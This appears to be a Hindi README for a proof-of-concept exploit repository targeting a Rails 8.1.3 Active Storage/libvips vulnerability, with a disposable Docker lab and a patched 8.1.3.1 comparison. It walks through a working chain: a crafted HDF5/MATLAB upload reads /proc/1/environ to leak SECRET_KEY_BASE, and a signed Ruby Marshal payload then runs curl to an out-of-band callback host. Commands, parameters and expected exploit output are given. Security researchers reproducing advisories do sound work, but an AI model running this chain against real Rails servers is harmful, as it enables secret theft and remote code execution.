
CVE-2026-66066-POC — Updated!
Ruby on Rails में CVE-2026-66066 के लिए PoC
CVE-2026-66066 के लिए PoC - न्यूनतम स्टॉक Rails/libvips लैब
यह रिपॉजिटरी Rails Active Storage फ़ाइल-रीड-टू-RCE श्रृंखला को पुन: उत्पन्न करती है जिसका वर्णन GHSA-xr9x-r78c-5hrm में किया गया है, जो Rails 8.1.3 के विरुद्ध है, जो सबसे नया प्रभावित Rails 8.1 रिलीज़ है। Rails 8.1.3.1 पैच किया गया नियंत्रण है।
इसका उपयोग केवल यहाँ वर्णित डिस्पोज़ेबल स्थानीय लैब में करें। HTTP ड्राइवर गैर-लूपबैक लक्ष्यों को अस्वीकार करता है (हालाँकि अन्य लक्ष्यों के विरुद्ध अधिकृत परीक्षण के लिए Python कोड को संशोधित करना तुच्छ है)।
सख्त लक्ष्य/हमलावर सीमा
लक्ष्य एक पारंपरिक Rails एप्लिकेशन है। इसकी अंतिम छवि में शामिल है:
- पिन किया गया
ruby:3.4.10-slimDocker आधिकारिक छवि; rails _VERSION_ newद्वारा उत्पन्न एक एप्लिकेशन;- Rails-जनित रनटाइम पैकेज
curl,libjemalloc2,libvips, औरsqlite3; - Rails-जनित एंट्रीपॉइंट और डिफ़ॉल्ट
./bin/thrust ./bin/rails serverकमांड; और - एक सामान्य
Uploadमॉडल जिसमें एक Active Storage अटैचमेंट, सामान्य HTMLnew,create, औरshowएक्शन, और एक PNG इमेज वैरिएंट है।
इसमें आर्टिफैक्ट बिल्डर, अपलोड आर्टिफैक्ट, एक्सप्लॉइट ड्राइवर, Marshal कंस्ट्रक्टर, कॉलबैक कोड, डायग्नोस्टिक एंडपॉइंट, लोडर ट्रेसिंग, कस्टम बूट स्क्रिप्ट, लक्ष्य सीक्रेट फिक्स्चर, या एक्सप्लॉइट-केवल रूट शामिल नहीं है। यह VIPS_TRACE सेट नहीं करता, प्रोसेस एनवायरनमेंट को पुन: क्रमबद्ध नहीं करता, Active Storage सीरियलाइज़र को ओवरराइड नहीं करता, या गैर-डिफ़ॉल्ट इमेज प्रोसेसर कॉन्फ़िगर नहीं करता।
रूट .dockerignore केवल Dockerfile और overlay/ को बिल्ड में भेजता है। होस्ट-साइड Python स्क्रिप्ट और सभी जनित आर्टिफैक्ट Docker बिल्ड कॉन्टेक्स्ट से बाहर रखे गए हैं, न कि केवल अंतिम कॉपी चरण से हटाए गए हैं।
पूरा लक्ष्य ओवरले पाँच सामान्य फ़ाइलें हैं:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
शो पेज न्यूनतम सामान्य ट्रांसफ़ॉर्मेशन का उपयोग करता है:
<%= image_tag @upload.avatar.variant(format: :png) %>
एक अछूते नए Rails एप्लिकेशन में कोई एप्लिकेशन मॉडल या पेज नहीं होता जो अटैचमेंट स्वीकार करता हो, इसलिए ये पाँच फ़ाइलें एडवाइज़री की अविश्वसनीय-इमेज-अपलोड स्थिति का प्रतिनिधित्व करने के लिए आवश्यक न्यूनतम एप्लिकेशन कार्यक्षमता हैं।
कमजोर लक्ष्य का निर्माण और चलाना
पूर्वापेक्षाएँ हैं Docker, OpenSSL, Python 3, और आर्टिफैक्ट बिल्डर के लिए h5py।
टर्मिनल 1 में:
./run_lab.sh 8.1.3
स्क्रिप्ट minimal-rails-vips:8.1.3 बनाती है, एक अस्थायी SECRET_KEY_BASE उत्पन्न करती है जब तक कि पहले से आपूर्ति न की गई हो, एप्लिकेशन को केवल 127.0.0.1:3000 पर प्रकाशित करती है, और छवि के जनित एंट्रीपॉइंट और डिफ़ॉल्ट कमांड को चलाती है। लक्ष्य में कोई स्रोत निर्देशिका या आर्टिफैक्ट माउंट नहीं किया गया है।
यदि पोर्ट 3000 पहले से व्यस्त है, तो छवि को बदले बिना कोई अन्य लूपबैक पोर्ट चुनें:
HOST_PORT=33020 ./run_lab.sh 8.1.3
ड्राइवर के --target में वही पोर्ट उपयोग करें।
संयुक्त बिल्डर और ड्राइवर चलाना
टर्मिनल 2 में:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
rails_vips_oast_poc.py एक वन-शॉट बिल्डर और HTTP ड्राइवर है। जब तक --artifact आपूर्ति न की गई हो, यह अपलोड को एक निजी अस्थायी निर्देशिका में बनाता है, इसे पूर्ण अनुरोध अनुक्रम के लिए रखता है, और प्रक्रिया समाप्त होने पर इसे हटा देता है। यह स्थिर पेलोड को अनपैक करने के बजाय दोनों चरणों का निर्माण करता है:
- यह
h5pyसे 512-बाइट यूज़र ब्लॉक के साथ MATLAB/HDF5 फ़ाइल बनाने के लिए कहता है। - यह
environmentनामक एक1 × 1024लिटिल-एंडियनuint8डेटासेट बनाता है। - डेटासेट
/proc/1/environद्वारा समर्थित HDF5 बाहरी स्टोरेज का उपयोग करता है, ऑफ़सेट शून्य, सीमित 1,024-बाइट एक्सटेंट के साथ। - यह
MATLAB_class="uint8"जोड़ता है और libvips केmatloadस्निफर द्वारा उपयोग किया जाने वालाMATLAB 5.0हेडर लिखता है। - इसका न्यूनतम Ruby Marshal 4.8 राइटर पूर्ण अहस्ताक्षरित OOB वेरिएशन ग्राफ़ का निर्माण करता है।
- यह उस सीरियलाइज़्ड ग्राफ़ और OAST URL और सहसंबंध नॉन्स के साथ एक छोटा मैनिफ़ेस्ट युक्त एक अखंडता-जाँचित ट्रेलर जोड़ता है।
एम्बेडेड RCE प्रोग्राम एक संरचित तर्क सरणी के साथ /usr/bin/curl पर निश्चित है। यह कॉन्फ़िगर किए गए OAST URL पर एक GET करता है और केवल यादृच्छिक rails_ghsa_xr9x सहसंबंध टोकन भेजता है। यह शेल का उपयोग नहीं करता और कॉलबैक में पुनर्प्राप्त सीक्रेट, कमांड आउटपुट, फ़ाइल सामग्री, या लक्ष्य पहचानकर्ता शामिल नहीं करता।
आर्टिफैक्ट पैरामीटर हैं:
--external-path: लक्ष्य-पक्ष निरपेक्ष फ़ाइल, डिफ़ॉल्ट/proc/1/environ;--bytes: सीमित बाहरी एक्सटेंट 128 से 4096 तक, डिफ़ॉल्ट 1024;--oast: पेलोड में एम्बेडेड कॉलबैक बेस URL; और--nonce: पुनरुत्पादनीय आर्टिफैक्ट के लिए वैकल्पिक 16-बाइट हेक्साडेसिमल नॉन्स।
डिफ़ॉल्ट OAST URL लूपबैक-सुरक्षित है। एंड-टू-एंड जाँच के लिए कंटेनर से पहुँच योग्य एक रिसीवर URL आपूर्ति करें।
निरीक्षण या पुन: उपयोग के लिए जनित अपलोड को बनाए रखने के लिए, एक आर्टिफैक्ट पथ जोड़ें:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
एक मौजूदा --artifact मान्य किया जाता है और पुन: उपयोग किया जाता है। उस स्थिति में --oast, यदि दिया गया है, तो उसके एम्बेडेड कॉलबैक URL से मेल खाना चाहिए। वर्तमान बिल्डर पैरामीटर के साथ इसे पुनर्निर्मित और परमाणु रूप से बदलने के लिए --force जोड़ें।
बिना किसी HTTP अनुरोध के आर्टिफैक्ट निर्माण के लिए, साथी बिल्डर अभी भी उपलब्ध है:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
--target डिफ़ॉल्ट रूप से http://127.0.0.1:3000 है और शाब्दिक लूपबैक या localhost तक सीमित है।
अपेक्षित कमजोर आउटपुट में शामिल है:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
टर्मिनल में oast_nonce को OAST सेवा द्वारा प्राप्त rails_ghsa_xr9x=<nonce> क्वेरी पैरामीटर से मिलाएँ। अंतिम प्रतिनिधित्व अनुरोध से HTTP 500 अपेक्षित है: कॉलबैक प्रमाणित Marshal Hash के पुनर्निर्माण के दौरान होता है, इससे पहले कि समग्र ट्रांसफ़ॉर्मेशन बाद में विफल हो जाए।
ड्राइवर क्या करता है
बिल्डर भाग के लिए h5py आवश्यक है; HTTP और क्रिप्टोग्राफ़िक भाग केवल Python की मानक लाइब्रेरी का उपयोग करते हैं:
- यह पूर्ण अपलोड आर्टिफैक्ट और एम्बेडेड अहस्ताक्षरित Marshal ग्राफ़ का निर्माण और मान्य करता है।
- यह एप्लिकेशन के सामान्य मल्टीपार्ट HTML फ़ॉर्म के माध्यम से एक सुरक्षित PNG अपलोड करता है, सामान्य रीडायरेक्ट का अनुसरण करता है, और उसके `` तत्व से प्रतिनिधित्व URL निकालता है।
- यह Rails के अंतर्निहित Active Storage डायरेक्ट-अपलोड एंडपॉइंट का उपयोग करके
image/bmpके रूप में घोषित एक अनअटैच्ड ब्लॉब बनाता है, फिर निर्मित बाइट्स अपलोड करता है। - यह उस मान्य ब्लॉब हस्ताक्षरित ID को सुरक्षित छवि से सामान्य वेरिएशन कुंजी के साथ जोड़ता है और प्रतिनिधित्व का अनुरोध करता है।
- स्टॉक Debian libvips अनफज़्ड
matloadऑपरेशन का चयन करता है। लौटाया गया PNG बाहरी डेटासेट बाइट्स को उजागर करता है, जिसमें रनटाइमSECRET_KEY_BASEभी शामिल है। - ड्राइवर सामान्य
ActiveStorageवेरिफायर कुंजी प्राप्त करता है, आर्टिफैक्ट से पहले से निर्मित Marshal पेलोड पढ़ता है, इसेvariationउद्देश्य के लिए हस्ताक्षरित करता है, और परिणामी प्रतिनिधित्व URL का अनुरोध करता है। - डिसीरियलाइज़ेशन एम्बेडेड
/usr/bin/curlपेलोड को लागू करता है और ब्लाइंड OOB कॉलबैक उत्पन्न करता है।
लक्ष्य कोई सहायक एंडपॉइंट या हस्ताक्षर गैजेट योगदान नहीं करता। सीरियलाइज़्ड ग्राफ़ द्वारा उपयोग की जाने वाली Ruby क्लासें स्टॉक rails new Gemfile द्वारा पहले से हल की गई निर्भरताओं से आती हैं; एप्लिकेशन उन्हें आवश्यक या कॉन्फ़िगर नहीं करता। इमेज प्रोसेसिंग पूरे समय Rails डिफ़ॉल्ट :vips प्रोसेसर पर बनी रहती है।
पैच किया गया अंतर
टर्मिनल 1 को Ctrl-C से रोकें, फिर चलाएँ:
./run_lab.sh 8.1.3.1
वही संयुक्त ड्राइवर कमांड फिर से चलाएँ। यदि एक आर्टिफैक्ट बनाए रखा गया था, तो उसे वही --artifact पथ पारित करके पुन: उपयोग किया जा सकता है। पैच किया गया परिणाम यहाँ रुकना चाहिए:
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
कोई एनवायरनमेंट पिक्सेल नहीं लौटाया जाता, एम्बेडेड पेलोड कभी हस्ताक्षरित या सबमिट नहीं किया जाता, और कोई OAST कॉलबैक नहीं होता। Active Storage 8.1.3.1 libvips के अविश्वसनीय-ऑपरेशन ब्लॉक को सक्षम करता है, इसलिए matload अस्वीकार कर दिया जाता है।
सत्यापित करें कि लक्ष्य छवि साफ़ है
अंतिम रनटाइम कॉन्फ़िगरेशन जनित कॉन्फ़िगरेशन होना चाहिए:
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
अपेक्षित:
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
केवल स्क्रिप्ट का निरीक्षण करें और पुष्टि करें कि PoC फ़ाइलें अनुपस्थित हैं:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
केवल स्क्रिप्ट प्रविष्टि जनरेटर-निर्मित /rails/script/.keep है। बिल्ड टूल्स और वैकल्पिक इमेज CLI भी रनटाइम से बाहर रहते हैं:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips एक साझा रनटाइम लाइब्रेरी के रूप में मौजूद है, भले ही इसके CLI टूल्स स्थापित न हों। Debian का स्टॉक निर्भरता ग्राफ़ लिंक्ड MAT/HDF5 प्रारूप समर्थन प्रदान करता है।
फ़ाइलें
Dockerfileन्यूनतम स्टॉक लक्ष्य उत्पन्न और पैकेज करता है।.dockerignoreहमलावर-पक्ष फ़ाइलों को बिल्ड कॉन्टेक्स्ट में प्रवेश करने से रोकता है।overlay/में केवल पाँच सामान्य Rails एप्लिकेशन फ़ाइलें हैं।run_lab.shPoC निष्पादित किए बिना लक्ष्य का निर्माण और लॉन्च करता है।rails_vips_oast_poc.pyHDF5 फ़ाइल-रीड इमेज और कॉन्फ़िगर करने योग्य OOB पेलोड का निर्माण करता है, सामान्य HTTP प्रवाह चलाता है, वेरिफायर सीक्रेट पुनर्प्राप्त करता है, एम्बेडेड पेलोड पर हस्ताक्षर करता है, और इसे ट्रिगर करता है।